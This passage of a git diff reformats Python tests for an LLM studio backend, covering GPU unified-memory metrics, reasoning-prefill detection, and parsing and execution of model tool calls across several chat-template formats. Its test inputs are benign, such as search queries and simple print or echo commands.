amd-smi's figure when torch's is unknown.""" metrics = {"vram_total_gb": 8.0, "vram_used_gb": 2.0, "vram_utilization_pct": 25.0} - hw._apply_unified_memory_correction(metrics, {"total_gb": 124.0, "used_gb": None, "index": 0}) - assert metrics["vram_total_gb"] == 124.0 # full unified pool, not the 8 GB carve-out + hw._apply_unified_memory_correction( + metrics, {"total_gb": 124.0, "used_gb": None, "index": 0} + ) + assert ( + metrics["vram_total_gb"] == 124.0 + ) # full unified pool, not the 8 GB carve-out assert metrics["vram_used_gb"] == 2.0 # amd-smi used preserved (torch's was None) assert metrics["vram_utilization_pct"] == pytest.approx(round(2.0 / 124.0 * 100, 1)) @@ -346,16 +401,26 @@ def test_unified_memory_overwrites_used_when_torch_used_known(): """When torch reports both a larger total and a known used, both are adopted and utilization is recomputed against the corrected total (unchanged path).""" metrics = {"vram_total_gb": 8.0, "vram_used_gb": 2.0, "vram_utilization_pct": 25.0} - hw._apply_unified_memory_correction(metrics, {"total_gb": 124.0, "used_gb": 40.0, "index": 0}) + hw._apply_unified_memory_correction( + metrics, {"total_gb": 124.0, "used_gb": 40.0, "index": 0} + ) assert metrics["vram_total_gb"] == 124.0 assert metrics["vram_used_gb"] == 40.0 - assert metrics["vram_utilization_pct"] == pytest.approx(round(40.0 / 124.0 * 100, 1)) + assert metrics["vram_utilization_pct"] == pytest.approx( + round(40.0 / 124.0 * 100, 1) + ) def test_unified_memory_no_op_when_torch_total_not_larger(): """A discrete GPU where torch total does not exceed amd-smi's is left untouched.""" - metrics = {"vram_total_gb": 48.0, "vram_used_gb": 10.0, "vram_utilization_pct": 20.8} - hw._apply_unified_memory_correction(metrics, {"total_gb": 48.0, "used_gb": None, "index": 0}) + metrics = { + "vram_total_gb": 48.0, + "vram_used_gb": 10.0, + "vram_utilization_pct": 20.8, + } + hw._apply_unified_memory_correction( + metrics, {"total_gb": 48.0, "used_gb": None, "index": 0} + ) assert metrics["vram_total_gb"] == 48.0 assert metrics["vram_used_gb"] == 10.0 assert metrics["vram_utilization_pct"] == 20.8 diff --git a/studio/backend/tests/test_s3_dataset.py b/studio/backend/tests/test_s3_dataset.py index f47db565ff..791954b8f4 100644 --- a/studio/backend/tests/test_s3_dataset.py +++ b/studio/backend/tests/test_s3_dataset.py @@ -37,7 +37,9 @@ class _FakePaginator: def paginate(self, **kwargs): prefix = kwargs.get("Prefix") - contents = [{"Key": k} for k in self._keys if prefix is None or k.startswith(prefix)] + contents = [ + {"Key": k} for k in self._keys if prefix is None or k.startswith(prefix) + ] # Emit in two pages to exercise pagination handling. mid = len(contents) // 2 yield {"Contents": contents[:mid]} diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py index bd3d8d16b9..1ada081f3e 100644 --- a/studio/backend/tests/test_safetensors_capability_advertise.py +++ b/studio/backend/tests/test_safetensors_capability_advertise.py @@ -111,7 +111,9 @@ def test_detect_reasoning_flags_deepseek_v4_exposes_none_high_max(): though the template only branches on 'max'.""" from core.inference.llama_cpp import detect_reasoning_flags - flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash-GGUF") + flags = detect_reasoning_flags( + DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash-GGUF" + ) assert flags["supports_reasoning"] is True assert flags["reasoning_style"] == "enable_thinking_effort" assert flags["reasoning_effort_levels"] == ["high", "max"] @@ -419,9 +421,14 @@ def test_detect_safetensors_features_gemma_native_tool_call_keeps_tools_on(): def test_detect_safetensors_features_gemma_native_reasoning_is_parseable_not_prefilled(): """Native Gemma channels are normalized to , then split by the route.""" - from routes.inference import _detect_safetensors_features, _sf_reasoning_prefill_mode + from routes.inference import ( + _detect_safetensors_features, + _sf_reasoning_prefill_mode, + ) - tpl_with_gemma_native = "{% if add_generation_prompt %}<|channel>thought\n{% endif %}" + tpl_with_gemma_native = ( + "{% if add_generation_prompt %}<|channel>thought\n{% endif %}" + ) backend = SimpleNamespace( active_model_name = "unsloth/gemma-4-E2B-it", models = { @@ -453,7 +460,9 @@ def test_detect_safetensors_features_selects_native_reasoning_from_tool_template models = { "custom/named-native-reasoning": { "native_chat_template": named_template, - "chat_template_info": {"template": "{% if tools %}{% endif %}"}, + "chat_template_info": { + "template": "{% if tools %}{% endif %}" + }, } }, ) @@ -631,7 +640,11 @@ def test_worker_load_reply_payload_includes_chat_template_info(): "is_gguf": False, } _bm = getattr(backend, "models", {}) or {} - _entry = _bm.get(mc.identifier) or _bm.get(getattr(backend, "active_model_name", None)) or {} + _entry = ( + _bm.get(mc.identifier) + or _bm.get(getattr(backend, "active_model_name", None)) + or {} + ) _tpl_info = _entry.get("chat_template_info") if isinstance(_tpl_info, dict): model_info["chat_template_info"] = { @@ -804,7 +817,9 @@ class TestSafetensorsReasoningPrefillGate: # A minimal Qwen3-style template with the standard / markers. _QWEN_TPL = "{% if enable_thinking %}{% endif %}......" # gemma-style bespoke reasoning channel -- no standard markers. - _GEMMA_TPL = "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought" + _GEMMA_TPL = ( + "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought" + ) # always-on template whose GENERATION PROMPT opens an unclosed (DeepSeek-R1 / QwQ / # Qwen3-Thinking shape): the model emits only the closing , so prefill. _ALWAYS_ON_OPEN_TPL = ( @@ -834,17 +849,23 @@ class TestSafetensorsReasoningPrefillGate: def test_g1_enable_thinking_true(self): # G1: Qwen3.5 template + explicit enable_thinking=True -> prefilled. from routes.inference import _sf_reasoning_prefill_mode - assert _sf_reasoning_prefill_mode(self._features(), True, self._QWEN_TPL) is True + assert ( + _sf_reasoning_prefill_mode(self._features(), True, self._QWEN_TPL) is True + ) def test_g2_enable_thinking_none_defaults_on(self): # G2: default request (None) -> prefilled (Qwen3/GLM templates default on). from routes.inference import _sf_reasoning_prefill_mode - assert _sf_reasoning_prefill_mode(self._features(), None, self._QWEN_TPL) is True + assert ( + _sf_reasoning_prefill_mode(self._features(), None, self._QWEN_TPL) is True + ) def test_g3_enable_thinking_false(self): # G3: thinking explicitly off -> not prefilled. from routes.inference import _sf_reasoning_prefill_mode - assert _sf_reasoning_prefill_mode(self._features(), False, self._QWEN_TPL) is False + assert ( + _sf_reasoning_prefill_mode(self._features(), False, self._QWEN_TPL) is False + ) def test_g4_gpt_oss_reasoning_effort_excluded(self): # G4: gpt-oss uses explicit tags via HarmonyTextStreamer -> normal mode. @@ -868,7 +889,9 @@ class TestSafetensorsReasoningPrefillGate: # G7: always-on template whose generation prompt opens -> prefilled regardless of the flag. from routes.inference import _sf_reasoning_prefill_mode feats = self._features(reasoning_always_on = True) - assert _sf_reasoning_prefill_mode(feats, False, self._ALWAYS_ON_OPEN_TPL) is True + assert ( + _sf_reasoning_prefill_mode(feats, False, self._ALWAYS_ON_OPEN_TPL) is True + ) def test_g7b_reasoning_always_on_history_only_not_prefilled(self): # G7b (#5704): always-on classification from rendered assistant HISTORY @@ -876,13 +899,18 @@ class TestSafetensorsReasoningPrefillGate: # normal answer entirely as reasoning_content and blank the visible answer, so it must be off. from routes.inference import _sf_reasoning_prefill_mode feats = self._features(reasoning_always_on = True) - assert _sf_reasoning_prefill_mode(feats, None, self._ALWAYS_ON_HISTORY_TPL) is False + assert ( + _sf_reasoning_prefill_mode(feats, None, self._ALWAYS_ON_HISTORY_TPL) + is False + ) def test_g8_gemma_bespoke_channel_excluded(self): # G8: gemma's <|think|>/<|channel> format has no -> NOT prefilled # (would otherwise swallow the whole answer as reasoning). Regression guard. from routes.inference import _sf_reasoning_prefill_mode - assert _sf_reasoning_prefill_mode(self._features(), True, self._GEMMA_TPL) is False + assert ( + _sf_reasoning_prefill_mode(self._features(), True, self._GEMMA_TPL) is False + ) def test_g9_missing_template_not_prefilled(self): # G9: no template available -> conservative (not prefilled). diff --git a/studio/backend/tests/test_safetensors_reasoning_stream.py b/studio/backend/tests/test_safetensors_reasoning_stream.py index af5a05d266..565687b680 100644 --- a/studio/backend/tests/test_safetensors_reasoning_stream.py +++ b/studio/backend/tests/test_safetensors_reasoning_stream.py @@ -28,7 +28,10 @@ from routes.inference import ( _THINK_TPL = "........." _ETHINK = {"reasoning_style": "enable_thinking", "supports_reasoning": True} -_ETHINK_EFFORT = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True} +_ETHINK_EFFORT = { + "reasoning_style": "enable_thinking_effort", + "supports_reasoning": True, +} def test_prefill_mode_on_for_enable_thinking_default(): @@ -43,11 +46,15 @@ def test_prefill_mode_off_for_reasoning_effort_none(): # enable_thinking_effort turns thinking off via reasoning_effort="none"; prefilled mode # would capture the whole answer as reasoning_content. assert ( - _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "none") + _sf_reasoning_prefill_mode( + _ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "none" + ) is False ) assert ( - _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "high") + _sf_reasoning_prefill_mode( + _ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "high" + ) is True ) @@ -100,7 +107,9 @@ def _replay_sf_reasoning_stream(events: list[dict], *, prefilled: bool) -> dict: tool_starts.append(event) order.append("tool_start") continue - clean = _strip_tool_xml_for_display(event.get("text", ""), auto_heal_tool_calls = True) + clean = _strip_tool_xml_for_display( + event.get("text", ""), auto_heal_tool_calls = True + ) new_text = clean[len(prev_text) :] prev_text = clean if not new_text: @@ -127,7 +136,10 @@ def test_s1_plain_stream_splits_prefilled_reasoning(): # S1: plain/MLX single turn -> reasoning delta + visible delta; monitor visible-only. events = [ {"type": "content", "text": "Let me compute 17*23"}, - {"type": "content", "text": "Let me compute 17*23 = 391The answer is 391."}, + { + "type": "content", + "text": "Let me compute 17*23 = 391The answer is 391.", + }, ] out = _replay_sf_reasoning_stream(events, prefilled = True) assert out["reasoning"] == "Let me compute 17*23 = 391" @@ -170,7 +182,9 @@ def test_s3_extractor_resets_each_turn(): def test_s4_harmony_full_tags_normal_mode(): # S4: gpt-oss / explicit-tag models use normal mode (prefilled=False). - events = [{"type": "content", "text": "reasoning herevisible answer"}] + events = [ + {"type": "content", "text": "reasoning herevisible answer"} + ] out = _replay_sf_reasoning_stream(events, prefilled = False) assert out["reasoning"] == "reasoning here" assert out["visible"] == "visible answer" @@ -264,7 +278,10 @@ def test_native_reasoning_streamer_selected_and_errors_raise(): backend._generation_lock = threading.Lock() backend.models = {"gemma-test": {"model": Model(), "tokenizer": Tok()}} - assert list(backend.generate_stream("prompt", max_new_tokens = 4))[-1] == "ra" + assert ( + list(backend.generate_stream("prompt", max_new_tokens = 4))[-1] + == "ra" + ) backend.models["gemma-test"]["model"] = Model(fail = True) diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py index 31c728afca..7a3dbe6f6e 100644 --- a/studio/backend/tests/test_safetensors_tool_loop.py +++ b/studio/backend/tests/test_safetensors_tool_loop.py @@ -41,7 +41,9 @@ from utils.datasets import is_gpt_oss_model_name class TestParser: def test_json_tool_call(self): - text = '{"name":"web_search","arguments":{"query":"hello"}}' + text = ( + '{"name":"web_search","arguments":{"query":"hello"}}' + ) result = parse_tool_calls_from_text(text) assert len(result) == 1 tc = result[0] @@ -76,28 +78,36 @@ class TestParser: result = parse_tool_calls_from_text(text) assert len(result) == 1 assert result[0]["function"]["name"] == "web_search" - assert json.loads(result[0]["function"]["arguments"]) == {"query": "openai news"} + assert json.loads(result[0]["function"]["arguments"]) == { + "query": "openai news" + } def test_gemma_native_tool_call_template_quotes_escape_backslashes(self): text = r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}' result = parse_tool_calls_from_text(text) assert len(result) == 1 assert result[0]["function"]["name"] == "ls" - assert json.loads(result[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"} + assert json.loads(result[0]["function"]["arguments"]) == { + "path": r"C:\Users\wasim\repo" + } def test_gemma_native_tool_call_hyphenated_argument_name(self): text = '<|tool_call>call:mcp__srv__create-issue{issue-title:"Bug report"}' result = parse_tool_calls_from_text(text) assert len(result) == 1 assert result[0]["function"]["name"] == "mcp__srv__create-issue" - assert json.loads(result[0]["function"]["arguments"]) == {"issue-title": "Bug report"} + assert json.loads(result[0]["function"]["arguments"]) == { + "issue-title": "Bug report" + } def test_gemma_native_tool_call_keeps_braces_inside_string_value(self): text = '<|tool_call>call:terminal{command:"echo {foo:bar}"}' result = parse_tool_calls_from_text(text) assert len(result) == 1 assert result[0]["function"]["name"] == "terminal" - assert json.loads(result[0]["function"]["arguments"]) == {"command": "echo {foo:bar}"} + assert json.loads(result[0]["function"]["arguments"]) == { + "command": "echo {foo:bar}" + } def test_gemma_native_tool_call_bare_string_values(self): text = "<|tool_call>call:get_weather{location:Tokyo,unit:celsius}" @@ -147,9 +157,7 @@ class TestParser: def test_code_with_embedded_xml(self): # A code parameter with a literal must not truncate: the # parser uses end-of-body as the only boundary for single-param calls. - text = ( - "html = ''\nprint('hi')" - ) + text = "html = ''\nprint('hi')" result = parse_tool_calls_from_text(text) assert len(result) == 1 assert "print('hi')" in result[0]["function"]["arguments"] @@ -217,8 +225,12 @@ class TestParser: def test_render_html_start_detector_covers_mistral_and_rehearsal_forms(self): # The provisional render-html card must fire for bracket-tag forms too, not only XML. - assert _detect_render_html_tool_start('[TOOL_CALLS]render_html{"code":""}') - assert _detect_render_html_tool_start('[TOOL_CALLS]render_html[ARGS]{"code":"x"}') + assert _detect_render_html_tool_start( + '[TOOL_CALLS]render_html{"code":""}' + ) + assert _detect_render_html_tool_start( + '[TOOL_CALLS]render_html[ARGS]{"code":"x"}' + ) assert _detect_render_html_tool_start( '[TOOL_CALLS] [{"name":"render_html","arguments":{}}]' ) @@ -226,7 +238,9 @@ class TestParser: # A different first tool (or a prose mention with no JSON body) must not fire. assert not _detect_render_html_tool_start('[TOOL_CALLS]web_search{"q":"x"}') assert not _detect_render_html_tool_start('web_search[ARGS]{"q":"x"}') - assert not _detect_render_html_tool_start('python[ARGS]{"code":"render_html[ARGS]{}"}') + assert not _detect_render_html_tool_start( + 'python[ARGS]{"code":"render_html[ARGS]{}"}' + ) assert not _detect_render_html_tool_start("use render_html[ARGS] to render") def test_render_html_start_detector_skips_think_block_rehearsal(self): @@ -242,7 +256,9 @@ class TestParser: 'web_search[ARGS]{"q":"x"}render_html[ARGS]{"code":""}' ) # A render_html rehearsed inside think with no real call after does not fire. - assert not _detect_render_html_tool_start('render_html[ARGS]{"code":"x"}') + assert not _detect_render_html_tool_start( + 'render_html[ARGS]{"code":"x"}' + ) def test_render_html_start_detector_reads_top_level_array_name(self): # Array form: the name is the object's top-level ``"name"``, not an argument key. @@ -274,7 +290,10 @@ class TestParser: assert strip_tool_markup(text, final = True) == "before" # Without final=True the unclosed run is preserved. assert "partial" in strip_tool_markup(text) - assert strip_tool_markup("before <|tool_call>call:terminal{", final = True) == "before" + assert ( + strip_tool_markup("before <|tool_call>call:terminal{", final = True) + == "before" + ) def test_streaming_strip_respects_disabled_healing(self): raw = 'before {"name":"web_search"' @@ -311,7 +330,8 @@ class TestParser: end-of-string as a terminator. Regression for the Gemini high-severity flag on this PR.""" text = ( - "I should call web_search[ARGS]" '{"query":"weather"} next to find the answer.' + "I should call web_search[ARGS]" + '{"query":"weather"} next to find the answer.' ) result = parse_tool_calls_from_text(text) # Inside an unclosed think block no calls are yielded. @@ -365,7 +385,9 @@ class TestParser: def test_mistral_bracket_nested_json(self): # Brace-balance scan handles nested objects and braces inside string literals. - text = "[TOOL_CALLS]web_search" '{"query":"a {nested} brace","opts":{"limit":5}}' + text = ( + "[TOOL_CALLS]web_search" '{"query":"a {nested} brace","opts":{"limit":5}}' + ) result = parse_tool_calls_from_text(text) assert len(result) == 1 import json as _json @@ -408,7 +430,9 @@ class TestParser: assert "print(1)" in result[0]["function"]["arguments"] def test_rehearsal_with_prose(self): - text = "I should call the python tool. Like this: " 'python[ARGS]{"code":"x = 1"}' + text = ( + "I should call the python tool. Like this: " 'python[ARGS]{"code":"x = 1"}' + ) result = parse_tool_calls_from_text(text) assert len(result) == 1 assert result[0]["function"]["name"] == "python" @@ -433,7 +457,9 @@ class TestParser: def test_streaming_strip_removes_partial_bracket_marker(self): # A bracket tag streamed before its opening brace must strip on the final pass, not leak. - assert strip_tool_markup("answer [TOOL_CALLS]web_search", final = True) == "answer" + assert ( + strip_tool_markup("answer [TOOL_CALLS]web_search", final = True) == "answer" + ) assert strip_tool_markup("text python[ARGS]", final = True) == "text" # Non-final must keep the in-progress tag buffered (not yet stripped). partial = "answer [TOOL_CALLS]web_search" @@ -473,7 +499,9 @@ class TestParser: # [CALL_ID]/[ARGS] metadata (aligned with the parser). raw = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after' out = strip_tool_markup_streaming(raw) - assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out + assert ( + "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out + ) assert "before" in out and "after" in out # pre-strip. @@ -490,7 +518,8 @@ class TestParser: def test_think_block_stripped_before_bracket_tag(self): text = ( - "Let me search for that.\n" '[TOOL_CALLS]web_search{"query":"weather"}' + "Let me search for that.\n" + '[TOOL_CALLS]web_search{"query":"weather"}' ) result = parse_tool_calls_from_text(text) assert len(result) == 1 @@ -498,7 +527,10 @@ class TestParser: def test_uppercase_think_tag_stripped(self): # Some templates use [THINK]...[/THINK] instead of . - text = "[THINK]planning my next call[/THINK]" '[TOOL_CALLS]python{"code":"print(1)"}' + text = ( + "[THINK]planning my next call[/THINK]" + '[TOOL_CALLS]python{"code":"print(1)"}' + ) result = parse_tool_calls_from_text(text) assert len(result) == 1 assert result[0]["function"]["name"] == "python" @@ -530,7 +562,10 @@ class TestParser: text = '[TOOL_CALLS]search{"q":"explain [THINK] blocks"}' result = parse_tool_calls_from_text(text) assert len(result) == 1 - assert json.loads(result[0]["function"]["arguments"])["q"] == "explain [THINK] blocks" + assert ( + json.loads(result[0]["function"]["arguments"])["q"] + == "explain [THINK] blocks" + ) def test_real_call_after_think_with_rehearsal_inside(self): # A rehearsal inside is skipped, but the real call after the close tag parses. @@ -601,7 +636,11 @@ class TestParser: xml = parse_tool_calls_from_text( '{"name":"web_search","arguments":"weather"}' ) - assert array[0]["function"]["arguments"] == xml[0]["function"]["arguments"] == "weather" + assert ( + array[0]["function"]["arguments"] + == xml[0]["function"]["arguments"] + == "weather" + ) healed = _coerce_arguments( array[0]["function"]["arguments"], heal = True, tool_name = "web_search" ) @@ -620,7 +659,9 @@ class TestParser: def test_mistral_v11_call_id_is_not_the_function_name(self): # v11 shape: the function name is ``name``, never the opaque call-id token. - result = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[CALL_ID]abc123[ARGS]{"q":"x"}') + result = parse_tool_calls_from_text( + '[TOOL_CALLS]get_weather[CALL_ID]abc123[ARGS]{"q":"x"}' + ) assert len(result) == 1 assert result[0]["function"]["name"] == "get_weather" assert json.loads(result[0]["function"]["arguments"]) == {"q": "x"} @@ -643,7 +684,9 @@ class TestParser: assert strip_tool_markup_streaming(text, tool_protocol_active = True) == text # An unclosed block during streaming is preserved too (the parser keeps it). partial = 'plan: search[ARGS]{"q":"x"}' - assert strip_tool_markup_streaming(partial, tool_protocol_active = True) == partial + assert ( + strip_tool_markup_streaming(partial, tool_protocol_active = True) == partial + ) def test_streaming_strip_still_removes_real_call_outside_think(self): # The think guard must not stop the streaming strip removing a call outside the block. @@ -699,7 +742,9 @@ class TestParser: # safetensors content; GGUF routes it to reasoning_content natively. closed = "[THINK]Let me think. 2+2 is 4.[/THINK]The answer is 4." assert strip_tool_markup_streaming(closed) == "The answer is 4." - assert strip_tool_markup_streaming(closed) == strip_tool_markup(closed, final = True) + assert strip_tool_markup_streaming(closed) == strip_tool_markup( + closed, final = True + ) # Unclosed mid-stream reasoning is held from the marker on (nothing leaks, and # the cleaned text only grows as the answer streams in after ``[/THINK]``). assert strip_tool_markup_streaming("[THINK]still thinking") == "" @@ -728,7 +773,10 @@ class TestParserMultiFormat: def test_llama3_python_tag_dot_call_multi_arg(self): import json - text = "<|python_tag|>get_weather.call(" 'location="Tokyo", units="celsius", days=5)' + text = ( + "<|python_tag|>get_weather.call(" + 'location="Tokyo", units="celsius", days=5)' + ) result = parse_tool_calls_from_text(text) assert len(result) == 1 args = json.loads(result[0]["function"]["arguments"]) @@ -998,7 +1046,9 @@ class TestParserMultiFormat: text = '[TOOL_CALLS]search[ARGS]{"q":"explain the [THINK] token"}' result = parse_tool_calls_from_text(text) assert len(result) == 1 - assert json.loads(result[0]["function"]["arguments"]) == {"q": "explain the [THINK] token"} + assert json.loads(result[0]["function"]["arguments"]) == { + "q": "explain the [THINK] token" + } # Gemma 4 @@ -1024,7 +1074,12 @@ class TestParserMultiFormat: ) result = parse_tool_calls_from_text(text) args = json.loads(result[0]["function"]["arguments"]) - assert args == {"enabled": True, "attempts": 5, "threshold": 1.5, "nickname": None} + assert args == { + "enabled": True, + "attempts": 5, + "threshold": 1.5, + "nickname": None, + } def test_gemma4_nested_args(self): # Gemma 4 nests dicts / lists with bare keys and ``<|"|>`` strings. @@ -1128,7 +1183,9 @@ class TestParserMultiFormat: "[TOOL_CALLS]", "<|tool_call>", ): - assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}" + assert ( + marker in TOOL_XML_SIGNALS + ), f"streaming loop would not wake on {marker!r}" def test_has_tool_signal_for_all_formats(self): assert has_tool_signal('<|python_tag|>brave_search.call(q="x")') @@ -1766,7 +1823,8 @@ class TestParserCrossFormatRouting: result = parse_tool_calls_from_text(text) assert len(result) == 1, f"{label}: parser missed the call" assert result[0]["function"]["name"] == expected_name, ( - f"{label}: got {result[0]['function']['name']!r}, " f"expected {expected_name!r}" + f"{label}: got {result[0]['function']['name']!r}, " + f"expected {expected_name!r}" ) def test_all_new_markers_in_tool_xml_signals(self): @@ -1779,7 +1837,9 @@ class TestParserCrossFormatRouting: "<|tool_calls_section_begin|>", "<|tool_call_begin|>", ): - assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}" + assert ( + marker in TOOL_XML_SIGNALS + ), f"streaming loop would not wake on {marker!r}" def test_active_tools_are_passed_to_single_turn_after_render_html_success(): @@ -1814,7 +1874,10 @@ def test_active_tools_are_passed_to_single_turn_after_render_html_success(): assert exec_fn.calls == [("render_html", {"code": "one"})] assert captured_tool_names == [["render_html", "web_search"], ["web_search"]] - assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events) + assert any( + event.get("type") == "content" and event.get("text") == "Done." + for event in events + ) def test_spent_one_shot_rehearsal_repeat_is_detected_not_blank_continuation(): @@ -1827,7 +1890,9 @@ def test_spent_one_shot_rehearsal_repeat_is_detected_not_blank_continuation(): [ '{"name":"render_html","arguments":{"code":"one"}}' ], - ['render_html[ARGS]{"code":"two"}'], # spent one-shot rehearsal + [ + 'render_html[ARGS]{"code":"two"}' + ], # spent one-shot rehearsal ["The chart is above."], ] ) @@ -1856,7 +1921,9 @@ def test_spent_one_shot_rehearsal_repeat_is_detected_not_blank_continuation(): ) contents = [e["text"] for e in events if e["type"] == "content"] # render_html ran exactly once; the repeat was a no-op, not a second execution. - assert exec_fn.calls == [("render_html", {"code": "one"})], exec_fn.calls + assert exec_fn.calls == [ + ("render_html", {"code": "one"}) + ], exec_fn.calls # The loop continued past the repeat to the real answer (not a blank continuation). assert any("The chart is above." in t for t in contents), contents # The raw rehearsal markup never leaked as visible content. @@ -1905,7 +1972,12 @@ def test_rehearsal_name_after_prose_in_streaming_is_not_streamed(): loop, exec_fn = _make_loop( turns = [ # _make_loop accumulates these deltas into cumulative snapshots. - ["Let me think. ", "I will search ", "web_search", '[ARGS]{"query":"cats"}'], + [ + "Let me think. ", + "I will search ", + "web_search", + '[ARGS]{"query":"cats"}', + ], ["Found."], ], exec_results = ["RESULT"], @@ -2069,7 +2141,9 @@ def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call(): # A late call caught by the safety net: an unclosed ```` heals only with Auto-Heal on; # off, the safety net must not pass ``allow_incomplete=True`` and execute a truncated call. prose = "Sure, let me look that up for you right now. " - incomplete = '{"name":"web_search","arguments":{"query":"weather in Sydney"}}' + incomplete = ( + '{"name":"web_search","arguments":{"query":"weather in Sydney"}}' + ) loop_off, exec_off = _make_loop( turns = [[prose, incomplete], ["Final answer."]], @@ -2078,7 +2152,9 @@ def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call(): max_tool_iterations = 3, ) events_off = _collect_events(loop_off) - assert exec_off.calls == [], "disabled Auto-Heal must not execute a healed incomplete call" + assert ( + exec_off.calls == [] + ), "disabled Auto-Heal must not execute a healed incomplete call" assert not [e for e in events_off if e.get("type") == "tool_start"] loop_on, exec_on = _make_loop( @@ -2088,7 +2164,9 @@ def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call(): max_tool_iterations = 3, ) _collect_events(loop_on) - assert exec_on.calls == [("web_search", {"query": "weather in Sydney"})], exec_on.calls + assert exec_on.calls == [ + ("web_search", {"query": "weather in Sydney"}) + ], exec_on.calls def test_bare_json_tool_call_is_not_streamed_as_content(): @@ -2504,14 +2582,22 @@ class TestLoopBasic: assert exec_fn.calls[0][0] == "render_html" assert "" in exec_fn.calls[0][1]["code"] - def test_render_html_confirmation_gate_suppresses_early_provisional(self, monkeypatch): + def test_render_html_confirmation_gate_suppresses_early_provisional( + self, monkeypatch + ): """When a human confirmation gate is active, render_html must not surface an early provisional tool_start: that card (keyed by tool_call_id, no approval) would show the tool 'running' before the user approves. The gated real tool_start is the first signal the UI receives instead.""" - monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "approval-rh") - monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object()) - monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "allow") + monkeypatch.setattr( + safetensors_agentic, "new_approval_id", lambda: "approval-rh" + ) + monkeypatch.setattr( + safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object() + ) + monkeypatch.setattr( + safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "allow" + ) exec_fn = FakeExecuteTool(["Rendered HTML canvas."]) turn_iter = iter( @@ -2644,7 +2730,10 @@ class TestLoopBasic: def _gen(_messages): acc = "" - for chunk in ["", ""]: + for chunk in [ + "", + "", + ]: acc += chunk yield acc raise RuntimeError("model pipeline exploded") @@ -2667,7 +2756,9 @@ class TestLoopBasic: assert raised provisional = [ - e for e in collected if e["type"] == "tool_start" and e.get("arguments") == {} + e + for e in collected + if e["type"] == "tool_start" and e.get("arguments") == {} ] assert len(provisional) == 1 # The provisional card is closed (as an error) before the exception @@ -2675,12 +2766,15 @@ class TestLoopBasic: closing = [ e for e in collected - if e["type"] == "tool_end" and e.get("tool_call_id") == provisional[0]["tool_call_id"] + if e["type"] == "tool_end" + and e.get("tool_call_id") == provisional[0]["tool_call_id"] ] assert len(closing) == 1 assert "Error" in (closing[0].get("result") or "") - def test_python_tool_containing_render_html_signal_does_not_emit_provisional_start(self): + def test_python_tool_containing_render_html_signal_does_not_emit_provisional_start( + self, + ): loop, exec_fn = _make_loop( turns = [ [ @@ -2697,7 +2791,9 @@ class TestLoopBasic: assert len(tool_starts) == 1 assert tool_starts[0]["tool_name"] == "python" - assert exec_fn.calls == [("python", {"code": "print('')"})] + assert exec_fn.calls == [ + ("python", {"code": "print('')"}) + ] def test_render_html_rehearsed_in_think_block_emits_no_provisional_start(self): # BUG B: a render_html rehearsed inside think before a real python call must not emit a @@ -2768,7 +2864,10 @@ class TestLoopBasic: tool_starts = [e for e in events if e["type"] == "tool_start"] assert exec_fn.calls == [("render_html", {"code": "one"})] - assert [e["arguments"] for e in tool_starts] == [{}, {"code": "one"}] + assert [e["arguments"] for e in tool_starts] == [ + {}, + {"code": "one"}, + ] def test_truncated_unclosed_tool_call(self): loop, exec_fn = _make_loop( @@ -2788,7 +2887,9 @@ class TestLoopBasic: loop, exec_fn = _make_loop( turns = [ # ``arguments`` is a string _coerce_arguments can't parse, so heal runs. - ['{"name":"web_search","arguments":"hello world"}'], + [ + '{"name":"web_search","arguments":"hello world"}' + ], ["ok"], ], exec_results = ["..."], @@ -2803,8 +2904,12 @@ class TestLoopBehaviour: captured_messages: list[list[dict]] = [] turns = iter( [ - ['{"name":"web_search","arguments":{"query":"x"}}'], - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], ["final"], ] ) @@ -2829,11 +2934,14 @@ class TestLoopBehaviour: ) assert exec_fn.calls == [("web_search", {"query": "x"})] - assert [e["tool_call_id"] for e in events if e["type"] == "tool_end"] == ["call_0"] + assert [e["tool_call_id"] for e in events if e["type"] == "tool_end"] == [ + "call_0" + ] assert not [ e for e in events - if e.get("tool_call_id") == "call_1" and e.get("type") in {"tool_start", "tool_end"} + if e.get("tool_call_id") == "call_1" + and e.get("type") in {"tool_start", "tool_end"} ] duplicate_nudges = [ message @@ -2850,7 +2958,9 @@ class TestLoopBehaviour: captured_messages: list[list[dict]] = [] turns = iter( [ - ['{"name":"web_search","arguments":{"query":"x"}}'], + [ + '{"name":"web_search","arguments":{"query":"x"}}' + ], [ '{"name":"web_search","arguments":{"query":"x"}}' '{"name":"python","arguments":{"code":"print(1)"}}' @@ -2888,7 +2998,9 @@ class TestLoopBehaviour: ] conv = captured_messages[-1] - turn2 = [m for m in conv if m.get("role") == "assistant" and 